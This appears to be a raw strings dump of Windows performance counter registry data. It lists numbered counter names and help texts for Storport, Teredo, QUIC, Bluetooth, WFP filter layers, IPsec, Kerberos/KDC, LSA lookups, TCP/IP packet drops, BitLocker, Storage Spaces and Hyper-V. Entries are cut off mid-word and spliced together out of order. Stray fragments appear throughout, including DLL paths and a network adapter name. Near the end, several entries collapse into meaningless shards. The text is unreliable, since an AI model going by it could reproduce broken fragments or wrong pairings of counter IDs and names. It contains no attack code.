4960 Transfer Latency Bucket 01 : <= 128us 4962 Transfers Bucket 01 : <= 128us 4964 Transfers/sec Bucket 02 : <= 256us 4966 Transfer Latency Bucket 02 : <= 256us 4968 Transfers Bucket 02 : <= 256us 4970 Transfers/sec Bucket 03 : <= 512us 4972 Transfer Latency Bucket 03 : <= 512us 4974 Transfers Bucket 03 : <= 512us 4976 Transfe 2354 In - Teredo Server Total Packets: Success + Error 2356 In - Teredo Server Success Packets: Total 2358 In - Teredo Server Success Packets: Bubbles 2360 In - Teredo Server Success Packets: Echo 2362 In - Teredo Server Success Packets: RS-Primary 2364 In - Teredo Server Success Packets: RS-Secondary 2366 In - Teredo Server Error Packets: Total 2368 In - Teredo Server Error Packets: Header Error 2370 In - Teredo Server Error Packets: Source Error 2372 In - Teredo Server Error Packets: Destination Error 2374 In - Teredo Server Error Packets: Authentication Error 2376 Out - Teredo Server: RA-Primary 2378 Out - Teredo Server: RA-Secondary 2380 In - Teredo Server Total Packets: Success + Error / sec 2328 Teredo Client 2330 In - Teredo Router Advertisement 2332 In - Teredo Bubble 2334 In - Teredo Data 2336 In - Teredo Invalid 2338 Out - Teredo Router Solicitation 2340 Out - Teredo Bubble 2342 Out - Teredo Data 2344 In - Teredo Data User Mode 2346 In - Teredo Data Kernel Mode 2348 Out - Teredo Data User Mode 2350 Out - Teredo Data Kernel Mode 5936 Hyper-V Dynamic Memory Integration Service 5938 Maximum Memory, Mbytes 12762 Bluetooth Radio 12764 Classic ACL bytes written/sec 12766 LE ACL bytes written/sec 12768 SCO bytes written/sec 12770 Classic ACL bytes read/sec 12772 LE ACL bytes read/sec 12774 SCO bytes read/sec 12776 Classic ACL Connections 12778 LE ACL Connections 12780 SCO Connections 12782 Sideband SCO Connections 12784 ACL flush events/sec 12786 LE ACL write credits 12788 Classic ACL write credits 12790 LE Scan Duty Cycle (%) - Uncoded 1M Phy 12792 LE Scan Window - Uncoded 1M Phy 12794 LE Scan Interval - Uncoded 1M Phy 12796 Page Scan Duty Cycle (%) 12798 Page Scan Window 12800 Page Scan Interval 12802 Inquiry Scan Duty Cycle (%) 12804 Inquiry Scan Window 12806 Inquiry Scan Interval 12808 LE Scan Duty Cycle (%) - Coded Phy 12810 LE Scan Window - Coded Phy 12812 LE Scan Interval - Coded Phy 12814 A2dp Offload Connections 12816 Established LE CIS Count 12818 Established LE Periodic Advertising Sync Count 1ections Resumed/sec 2258 QUIC Connections Active 2260 QUIC Connections Connected 2262 QUIC Connections Protocol Error 2264 QUIC Connections Protocol Errors/sec 2266 QUIC Connections No ALPN 2268 QUIC Connections No ALPNs/sec 2270 QUIC Streams Active 2272 QUIC Packets Suspected Lost/sec 2274 QUIC Packets Dropped/sec 2276 QUIC Packet Decryption Failures/sec 2278 QUIC UDP Datagrams Received/sec 2280 QUIC UDP Datagrams Sent/sec 2282 QUIC UDP Payload Bytes Received/sec 2284 QUIC UDP Payload Bytes Sent/sec 2286 QUIC UDP Receive Events/sec 2288 QUIC UDP Send Calls/sec 2290 QUIC App Sent Bytes/sec 2292 QUIC App Received Bytes/sec 2294 QUIC Connections Queued 2296 QUIC Connection Operations Queued 2298 QUIC Connection Operations Queued/sec 2300 QUIC Connection Operations Completed/sec 2302 QUIC Worker Operations Queued 2304 QUIC Worker Operations Queued/sec 2306 QUIC Worker Operations/sec 2308 QUIC Path Challenges Succeeded 2310 QUIC Path Challenges Failed 2312 QUIC Stateless Resets Sent 2314 QUIC Stateless Retries Sent 2382 Teredo Relay 2384 In - Teredo Relay Total Packets: Success + Error 2386 In - Teredo Relay Success Packets: Total 2388 In - Teredo Relay Success Packets: Bubbles 2390 In - Teredo Relay Success Packets: Data Packets 2392 In - Teredo Relay Error Packets: Total 2394 In - Teredo Relay Error Packets: Header Error 2396 In - Teredo Relay Error Packets: Source Error 2398 In - Teredo Relay Error Packets: Destination Error 2400 Out - Teredo Relay Total Packets: Success + Error 2402 Out - Teredo Relay Success Packets 2404 Out - Teredo Relay Success Packets: Bubbles 2406 Out - Teredo Relay Success Packets: Data Packets 2408 Out - Teredo Relay Error Packets 2410 Out - Teredo Relay Error Packets: Header Error 2412 Out - Teredo Relay Error Packets: Source Error 2414 Out - Teredo Relay Error Packets: Destination Error 2416 In - Teredo Relay Total Packets: Success + Error / sec 2418 Out - Teredo Relay Total Packets: Success + Error / sec 2420 In - Teredo Relay Success Packets: Data Packets User Mode 2422 In - Teredo ReWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 11904 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 11906 FWPM_LAYER_ALE_AUTH_CONNECT_V4 11908 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 11910 FWPM_LAYER_ALE_AUTH_CONNECT_V6 11912 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 11914 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 11916 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 11918 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 11920 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 11922 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 11924 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 11926 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 11928 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 11930 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 11932 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 11934 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 11936 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 11938 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 11940 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 11942 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 11944 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 11946 FWPM_LAYER_ALE_BIND_REDIRECT_V4 11948 FWPM_LAYER_ALE_BIND_REDIRECT_V6 11950 FWPM_LAYER_STREAM_PACKET_V4 11952 FWPM_LAYER_STREAM_PACKET_V6 11954 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 11956 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 11958 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 11960 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 11962 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11964 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11966 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11968 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11970 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11972 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11974 FWPM_LAYER_INBOUND_RESERVED2 11976 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11978 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11980 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11982 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 11984 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11986 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11988 FWPM_LAYER_IPSEC_V4 11990 FWPM_LAYER_IPSEC_V6 11992 FWPM_LAYER_IKEEXT_V4 11994 FWPM_LAYER_IKEEXT_V6 11996 FWPM_LAYER_RPC_UM 11998 FWPM_LAYER_RPC_EPMAP 12000 FWPM_LAYER_RPC_EP_ADD 12002 FWPM_LAYER_RPC_PROXY_CONN 12004 FWPM_LAYER_RPC t path 12564 Denied connect or send requests in low-power mode 12566 TCP checksum errors 12568 TCP timeouts 12570 RSC segments forwarded via LSO 12572 RSC segments forwarded via software segmentation 12574 RSC segments forwarded via software segmentation and checksum 12576 RSC segment forwarding failures during software segmentation 12578 UDP datagrams created via software segmentation 12580 UDP URO events 12582 UDP URO bytes received 12584 TCP RSC events 12586 TCP RSC bytes received 12588 URO segments forwarded via software segmentation 12590 URO segments forwarded via software segmentation and checksum 12592 URO segment forwarding failures during software segmentation 12594 TCP loss recovery episodes 12596 TCP successful loss recovery episodes 12598 Bytes of lost retransmits retransmitted 12600 URO segmentations for raw sockets 12602 URO segmentation failures for raw sockets 12604 Number of SACK blocks dropped 12606 Number of TCP RX fast path batches inspected 12608 Number of TCP RX fast path batches not inspected 12610 Number of USO packets segmented in software 12612 Number of USO packets segmented and checksummed in software 6966 WinNAT UDP 6968 NumberOfSessions 6970 NumberOfBindings 6972 NumIntToExtTranslations 6974 NumExtToIntTranslations 6976 NumPacketsDropped 6978 NumSessionsTimedOut 7024 WinNAT Instance 7026 TCP Ports In Use 7028 TCP Ports Available 7030 UDP Ports In Use 7032 UDP Ports Available 6952 WinNAT TCP 6954 NumberOfSessions 6956 NumberOfBindings 6958 NumIntToExtTranslations 6960 NumExtToIntTranslations 6962 NumPacketsDropped 6964 NumSessionsTimedOut 6994 WinNAT 6996 Sessions/sec 6998 Current Session Count 7000 Packets/sec Internal to External 7002 Packets Internal to External 7004 Packets/sec External to Internal 7006 Packets External to Internal 7008 Dropped Packets/sec 7010 Dropped Packets 7012 Dropped ICMP error packets/sec 7014 Dropped ICMP error packets 7016 Inter-RoutingDomain Hairpinned Packets/sec 7018 Inter-RoutingDomain Hairpinned Packets 7020 Intra-RoutingDomain Hairpinned Packets/se SubC "Microsoft Window 12440 FWPM_LAYER_IPSEC_V6 12442 FWPM_LAYER_IKEEXT_V4 12444 FWPM_LAYER_IKEEXT_V6 12446 FWPM_LAYER_RPC_UM 12448 FWPM_LAYER_RPC_EPMAP 12450 FWPM_LAYER_RPC_EP_ADD 12452 FWPM_LAYER_RPC_PROXY_CONN 12454 FWPM_LAYER_RPC_PROXY_IF 12456 FWPM_LAYER_KM_AUTHORIZATION 12458 Total 4722 Authorization Manager Applications 4724 Total number of scopes 4726 Number of Scopes loaded in memory 6342 Security Per-Process Statistics 6344 Credential Handles 6346 Context Handles 6348 Security System-Wide Statistics 6350 NTLM Authentications 6352 Kerberos Authentications 6354 KDC AS Requests 6356 KDC TGS Requests 6358 Schannel Session Cache Entries 6360 Active Schannel Session Cache Entries 6362 SSL Client-Side Full Handshakes 6364 SSL Client-Side Reconnect Handshakes 6366 SSL Server-Side Full Handshakes 6368 SSL Server-Side Reconnect Handshakes 6370 Digest Authentications 6372 Forwarded Kerberos Requests 6374 KDC armored AS Requests 6376 KDC armored TGS Requests 6378 KDC claims-aware AS Requests 6380 KDC claims-aware service asserted identity TGS requests 6382 KDC classic type constrained delegation TGS Requests 6384 KDC resource type constrained delegation TGS Requests 6386 KDC claims-aware TGS Requests 6388 KDC key trust AS Requests 6390 LSA Lookups 6392 Names Inbound Requests/sec 6394 Names Outbound Requests/sec 6396 Isolated Names Inbound Requests/sec 6398 Isolated Names Outbound Requests/sec 6400 Names Completion Time 6402 Names Completion Base 6404 Names Remote Request Time 6406 Names Remote Request Base 6408 Names Errors/sec 6410 Names Unresolved/sec 6412 Names Cache % Hit 6414 Names Cache % Hit Base 6416 Names Cache % Full 6418 Names Cache % Full Base 6420 Name/SID Cache Size(Max Entries) 6422 Names Xforest Requests/sec 6424 Names Xforest Time 6426 Names Xforest Base 6428 Names Trusted Domain Requests/sec 6430 Names Trusted Domain Request Time 6432 Names Trusted Domain Request Base 6434 Names Primary Domain Requests/sec 6436 Names Primary Domain Time 6438 Names Primary Domain Base 6440 SIDs Inbound Requests/sec 6442 SIDs Outbound 4497 Bytes transfered by all operations that took >= 30s to complete. 12759 The MPTF counter set consists of performance counters for reading MPTF sensor information. 12761 Reads the temperature from a sensor. 5071 This counter set consists of Queue statistics for a Storport Logical Unit. 5073 Number of outstanding requests. 5075 Number of queued requests. 4957 This counter set consists of Transfer statistics for a Storport Logical Unit. 4959 Number of transfers per second that took <= 128us to complete. 4961 Average microseconds per transfer that took <= 128us to complete. 4963 Number of transfers that took <= 128us to complete. 4965 Number of transfers per second that took <= 256us to complete. 4967 Average microseconds per transfer that took <= 256us to complete. 4969 Number of transfers that took <= 256us to complete. 4971 Number of transfers per second that took <= 512us to complete. 4973 Average microseconds per transfer that took <= 512us to complete. 4975 Number of transfers that took <= 512us to complete. 4977 Number of transfers per second that took <= 1ms to complete. 4979 Average microseconds per transfer that took <= 1ms to complete. 4981 Number of transfers that took <= 1ms to complete. 4983 Number of transfers per second that took <= 4ms to complete. 4985 Average microseconds per transfer that took <= 4ms to complete. 4987 Number of transfers that took <= 4ms to complete. 4989 Number of transfers per second that took <= 16ms to complete. 4991 Average microseconds per transfer that took <= 16ms to complete. 4993 Number of transfers that took <= 16ms to complete. 4995 Number of transfers per second that took <= 64ms to complete. 4997 Average microseconds per transfer that took <= 64ms to complete. 4999 Number of transfers that took <= 64ms to complete. 5001 Number of transfers per second that took <= 128ms to complete. 5003 Average microseconds per transfer that took <= 128ms to complete. 5005 Number of transfers that took <= 128ms to complete. 5007 Number of transfers per second that took <= 256ms t ofileCrossing 12042 Reason: ClassifyCompletion 12044 Reason: IPSecPropertiesChanged 12046 Reason: MidStreamInspection 12048 Reason: SocketPropertyChanged 12050 Reason: NewInboundMCastBCastPacket 12052 Reason: EDPPolicyChanged 12054 Reason: ProxyHandleChanged 11398 WFPv6 11400 Inbound Packets Discarded/sec 11402 Outbound Packets Discarded/sec 11404 Packets Discarded/sec 11406 Blocked Binds 11408 Inbound Connections Blocked/sec 11410 Outbound Connections Blocked/sec 11412 Inbound Connections Allowed/sec 11414 Outbound Connections Allowed/sec 11416 Inbound Connections 11418 Outbound Connections 11420 Active Inbound Connections 11422 Active Outbound Connections 11424 Allowed Classifies/sec 12258 WFP Filter Size 12260 FWPM_LAYER_INBOUND_IPPACKET_V4 12262 FWPM_LAYER_INBOUND_IPPACKET_V4_DISCARD 12264 FWPM_LAYER_INBOUND_IPPACKET_V6 12266 FWPM_LAYER_INBOUND_IPPACKET_V6_DISCARD 12268 FWPM_LAYER_OUTBOUND_IPPACKET_V4 12270 FWPM_LAYER_OUTBOUND_IPPACKET_V4_DISCARD 12272 FWPM_LAYER_OUTBOUND_IPPACKET_V6 12274 FWPM_LAYER_OUTBOUND_IPPACKET_V6_DISCARD 12276 FWPM_LAYER_IPFORWARD_V4 12278 FWPM_LAYER_IPFORWARD_V4_DISCARD 12280 FWPM_LAYER_IPFORWARD_V6 12282 FWPM_LAYER_IPFORWARD_V6_DISCARD 12284 FWPM_LAYER_INBOUND_TRANSPORT_V4 12286 FWPM_LAYER_INBOUND_TRANSPORT_V4_DISCARD 12288 FWPM_LAYER_INBOUND_TRANSPORT_V6 12290 FWPM_LAYER_INBOUND_TRANSPORT_V6_DISCARD 12292 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 12294 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 12296 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 12298 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 12300 FWPM_LAYER_STREAM_V4 12302 FWPM_LAYER_STREAM_V4_DISCARD 12304 FWPM_LAYER_STREAM_V6 12306 FWPM_LAYER_STREAM_V6_DISCARD 12308 FWPM_LAYER_DATAGRAM_DATA_V4 12310 FWPM_LAYER_DATAGRAM_DATA_V4_DISCARD 12312 FWPM_LAYER_DATAGRAM_DATA_V6 12314 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 12316 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 12318 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 12320 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 12322 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 12324 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 12326 FWPM_LAYER_OUTBOUND_ICMP_ERROtions 11610 Failed Quick Mode Negotiations/sec 11612 Active Extended Mode SAs 11614 Pending Extended Mode Negotiations 11616 Extended Mode Negotiations 11618 Extended Mode Negotiations/sec 11620 Successful Extended Mode Negotiations 11622 Successful Extended Mode Negotiations/sec 11624 Failed Extended Mode Negotiations 11626 Failed Extended Mode Negotiations/sec 11628 Extended Mode SAs That Used Impersonation 11794 IPsec Connections 11796 Total Number current Connections 11798 Total number of cumulative connections since boot 11800 Max number of connections since boot 11802 Total Bytes In since start 11804 Total Bytes Out since start 11806 Number of failed authentications 11630 IPsec AuthIP IPv6 11632 Active Main Mode SAs 11634 Pending Main Mode Negotiations 11636 Main Mode Negotiations 11638 Main Mode Negotiations/sec 11640 Successful Main Mode Negotiations 11642 Successful Main Mode Negotiations/sec 11644 Failed Main Mode Negotiations 11646 Failed Main Mode Negotiations/sec 11648 Main Mode Negotiation Requests Received 11650 Main Mode Negotiation Requests Received/sec 11652 Main Mode SAs That Used Impersonation 11654 Main Mode SAs That Used Impersonation/sec 11656 Active Quick Mode SAs 11658 Pending Quick Mode Negotiations 11660 Quick Mode Negotiations 11662 Quick Mode Negotiations/sec 11664 Successful Quick Mode Negotiations 11666 Successful Quick Mode Negotiations/sec 11668 Failed Quick Mode Negotiations 11670 Failed Quick Mode Negotiations/sec 11672 Active Extended Mode SAs 11674 Pending Extended Mode Negotiations 11676 Extended Mode Negotiations 11678 Extended Mode Negotiations/sec 11680 Successful Extended Mode Negotiations 11682 Successful Extended Mode Negotiations/sec 11684 Failed Extended Mode Negotiations 11686 Failed Extended Mode Negotiations/sec 11688 Extended Mode SAs That Used Impersonation 11756 IPsec IKEv2 IPv6 11758 Active Main Mode SAs 11760 Pending Main Mode Negotiations 11762 Main Mode Negotiations 11764 Main Mode Negotiations/sec 11766 Successful Main Mode Negotiations 11768 Successful MaiURE_V4 12188 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12190 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12192 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12194 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12196 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12198 FWPM_LAYER_STREAM_PACKET_V4 12200 FWPM_LAYER_STREAM_PACKET_V6 12202 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12204 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12206 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12208 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12210 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12212 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12214 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12216 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12218 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12220 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12222 FWPM_LAYER_INBOUND_RESERVED2 12224 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12226 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12228 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12230 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12232 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12234 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12236 FWPM_LAYER_IPSEC_V4 12238 FWPM_LAYER_IPSEC_V6 12240 FWPM_LAYER_IKEEXT_V4 12242 FWPM_LAYER_IKEEXT_V6 12244 FWPM_LAYER_RPC_UM 12246 FWPM_LAYER_RPC_EPMAP 12248 FWPM_LAYER_RPC_EP_ADD 12250 FWPM_LAYER_RPC_PROXY_CONN 12252 FWPM_LAYER_RPC_PROXY_IF 12254 FWPM_LAYER_KM_AUTHORIZATION 12256 Total 11570 IPsec AuthIP IPv4 11572 Active Main Mode SAs 11574 Pending Main Mode Negotiations 11576 Main Mode Negotiations 11578 Main Mode Negotiations/sec 11580 Successful Main Mode Negotiations 11582 Successful Main Mode Negotiations/sec 11584 Failed Main Mode Negotiations 11586 Failed Main Mode Negotiations/sec 11588 Main Mode Negotiation Requests Received 11590 Main Mode Negotiation Requests Received/sec 11592 Main Mode SAs That Used Impersonation 11594 Main Mode SAs That Used Impersonation/sec 11596 Active Quick Mode SAs 11598 Pending Quick Mode Negotiations 11600 Quick Mode Negotiations 11602 Quick Mode Negotiations/sec 11604 Successful Quick Mode Negotiations 11606 Successful Quick Mode Negotiations/sec 11608 Failed Quick Mode Negotia ntel(R) 82574L Gigabit Network C evtx Layer with low-resource flag 12531 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer with low-resource flag 12533 Total number of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12535 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12537 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12539 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12541 Total number of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12543 Rate of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12545 Total number of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12547 Rate of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12549 Total number of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12551 Rate of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12553 Total number of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12555 Rate of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12557 Total number of inbound TCP segments that could not be processed via fast path 12559 Rate of inbound TCP segments that could not be processed via fast path 12561 Total number of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12563 Rate of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12565 Total number of TCP connect or TCP/UDP/RAW send requ 2639 TCBs that were created 12641 TCBs that were destroyed 12643 The bitmap that stores the reasons why software RSC is disabled 12645 The bitmap that stores the reasons why software URO is disabled 12647 The bitmap that stores the reasons why software USO is disabled 12649 Inbound and outbound TCP connection attempts that failed 12651 Outbound TCP connection attempts 12653 The number of inbound TCP connection attempts 12655 Failures to copy NBLs for TCP receive delivery 12657 TCP segment/sec sent 12659 TCP segment/sec received 12661 TCP segment/sec retransmitted 12663 TWTCB collisions 12665 TCP bad segments received 12667 RST segments sent 12669 TCP LSO byte/sec sent 12671 TCP LSO segment/sec sent 12673 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer with prevalidation 12675 Total number of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer with prevalidation 12677 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer with prevalidation 12679 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer with prevalidation 12681 TCPIP pendable RX NBLs after coalescing 12683 UDP USO byte/sec sent 12685 UDP USO segment/sec sent 12687 TCP bad segment/sec received 12689 This counter set records various transport layer packet drops. 12691 Packets discarded due to unspecified source 12693 Packets discarded due to multicast destination 12695 Packets discarded due to invalid header 12697 Packets discarded due to invalid checksum 12699 Packets discarded due to endpoint not found 12701 Packets discarded due to connected path 12703 Packets discarded due to session state 12705 Packets discarded due to receive inspection 12707 Packets discarded due to invalid ACK 12709 Packets discarded due to expected SYN 12711 Packets discarded due to RST 12713 Packets discarded due to SYN received SYN 12715 Packets discarded due to simultaneous connect 12717 Packets discarded due to PAWS failed 12719 Packets that are being processed by the Key Distribution Center (KDC) per second. 6379 This counter tracks the number of Authentication Service (AS) requests explicitly requesting claims that are being processed by the Key Distribution Center (KDC) per second. 6381 This counter tracks the number of service asserted identity (S4U2Self) TGS requests that are explicitly requesting claims. These requests are being processed by the Key Distribution Center (KDC) per second. 6383 This counter tracks the number of constrained delegation (S4U2Proxy) TGS requests that are being processed by the Key Distribution Center (KDC) by checking classic type constrained delegation configuration per second. The classic type constrained delegation is restricted to a single domain and configures the backend services SPN on the middle-tier service s account object. 6385 This counter tracks the number of constrained delegation (S4U2Proxy) TGS requests that are being processed by the Key Distribution Center (KDC) by checking the resource type constrained delegation per second. The resource type constrained delegation can cross domain boundaries and configures the middle-tier s account on the backend service s account object. 6387 This counter tracks the number of claims-aware ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. A claims-aware Kerberos client will always request claims during Authentication Service (AS) exchanges. 6389 This counter tracks the number of key trust Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. 6391 The LSA Lookup performance counter set consists of counters that measure performance of LSA Account name and SID lookups. 6393 This counter displays the rate of inbound account name lookup requests from local and network clients to the local LSA. 6395 This counter displays the rate of outbound account name lookup requests from the local LSA to remote servers. 6397 This counter displays the rate of in 12453 FWPM_LAYER_RPC_PROXY_CONN 12455 FWPM_LAYER_RPC_PROXY_IF 12457 FWPM_LAYER_KM_AUTHORIZATION 12459 Sum total size of filters in all layers 4723 The set of Counters for Authorization Manager application object 4725 Shows the total number of scopes in the application 4727 Shows the number of scopes that are currently loaded in memory 6343 These counters track the number of security resources and handles used per process. 6345 This counter tracks the number of credential handles in use by a given process. Credential handles are handles to pre-existing credentials, such as a password, that are associated with a user and are established through a system logon. 6347 This counter tracks the number of context handles in use by a given process. Context handles are associated with security contexts established between a client application and a remote peer. 6349 These counters track authentication performance on a per second basis. 6351 This counter tracks the number of NTLM authentications processed per second for the AD on this DC or for local accounts on this member server. 6353 This counter tracks the number of times that clients use a ticket to authenticate to this computer per second. 6355 This counter tracks the number of Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use AS requests to obtain a ticket-granting ticket. 6357 This counter tracks the number of ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use these TGS requests to obtain a service ticket, which allows a client to access resources on other computers. 6359 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performing a full SSL handshake The number of SID/Name entries purged from the cache 6487 Global performance counters for Microsoft Winsock Base Service Provider 6489 Dropped Datagrams/sec due to receive buffer limit on any datagram socket 6491 Dropped Datagrams due to receive buffer limit on any datagram socket 6493 Rejected Connections/sec due to backlog limit on any TCP listening socket 6495 Rejected Connections due to backlog limit on any TCP listening socket 11301 BitLocker Drive Encryption performance counters 11303 Minimum read buffer split size in bytes during last interval 11305 Maximum read buffer split size in bytes during last interval 11307 Minimum write buffer split size in bytes during last interval 11309 Maximum write buffer split size in bytes during last interval 11311 Number of read requests received over the last second 11313 Number of read subrequests issued over the last second 11315 Number of write requests received over the last second 11317 Number of write subrequests issued over the last second 6933 The Storage Spaces Map performance object consists of counters that show information about Storage Spaces maps. 6935 The number of maps to virtual disk per second. 6937 The number of extents mapped to virtual disk per second. 6939 The number of bytes mapped to virtual disk per second. 6941 The average number of extents per map to virtual disk. 6943 The average number of bytes per map to virtual disk. 6945 The average number of ms per map to virtual disk. 6947 The average number of ms per extent mapped to virtual disk. 6949 The number of maps to virtual disk. 6951 The number of extents mapped to virtual disk. 6639 The Storage Spaces Virtual Disk performance object consists of counters that show information about Storage Spaces virtual disks. 6641 The number of extents of the virtual disk that are active. 6643 The number of bytes of the virtual disk that are active. 6645 The number of extents of the virtual disk that are missing. 6647 The number of bytes of the virtual disk that are missing. 6649 The number of extents of the ests denied by the TCPIP stack because the outbound network interface was in low-power mode 12567 TCP segments dropped due to invalid checksum 12569 TCP retransmission timeouts 12571 Total number of RSC segments forwarded via LSO 12573 Total number of RSC segments forwarded via software segmentation 12575 Total number of RSC segments forwarded via software segmentation and checksum 12577 Total number of RSC segment forwarding failures during software segmentation 12579 Total number of UDP datagrams created via software segmentation 12581 Rate of coalesced UDP datagrams received via UDP URO 12583 Rate of bytes received via UDP URO 12585 Rate of coalesced TCP datagrams received via TCP RSC 12587 Rate of bytes received via TC Total nu ed via s 12599 num 2601 Total n NBL ailu O packet mber of d checks wpnservice Default TLS SSP Schannel Security Package C:\WINDOWS\system32\schannel.DLL SFAP Web Defense SFAP C:\WINDOWS\system32\sfapm.DLL Microsoft Unified Security Protocol Provider Schannel Security Package C:\WINDOWS\system32\schannel.DLL Intercepts/sec 14524 InvEpt All Context Instruction Emulation Cost 14526 InvEpt Single Context Emulation Intercepts/sec 14528 InvEpt Single Context Instruction Emulation Cost 14530 InvVpid All Context Emulation Intercepts/sec 14532 InvVpid All Context Instruction Emulation Cost 14534 InvVpid Single Context Emulation Intercepts/sec 14536 InvVpid Single Context Instruction Emulation Cost 14538 InvVpid Single Address Emulation Intercepts/sec 14540 InvVpid Single Address Instruction Emulation Cost 14542 Nested TLB Page Table Reclamations/sec 14544 Nested TLB Page Table Evictions/sec 14546 Flush Physical Address Space Hypercalls/sec 14548 Flush Physical Address List Hypercalls/sec 14550 Posted Interrupt Notifications/sec 14552 Posted Interrupt Scans/sec 14554 Total Core Run Time 14556 Maximum Run Time 14558 CPPC Request Context Switches/sec 14560 CPU Wait Time Bucket 0 14562 CPU Wait Time Bucket 1 14564 CPU Wait Time Bucket 2 14566 CPU Wait Time Bucket 3 14568 CPU Wait Time Bucket 4 14570 CPU Wait Time Bucket 5 14572 CPU Wait Time Bucket 6 14574 VMLOAD Emulation Intercepts/sec 14576 VMLOAD Instruction Emulation Cost 14578 VMSAVE Emulation Intercepts/sec 14580 VMSAVE Instruction Emulation Cost 14582 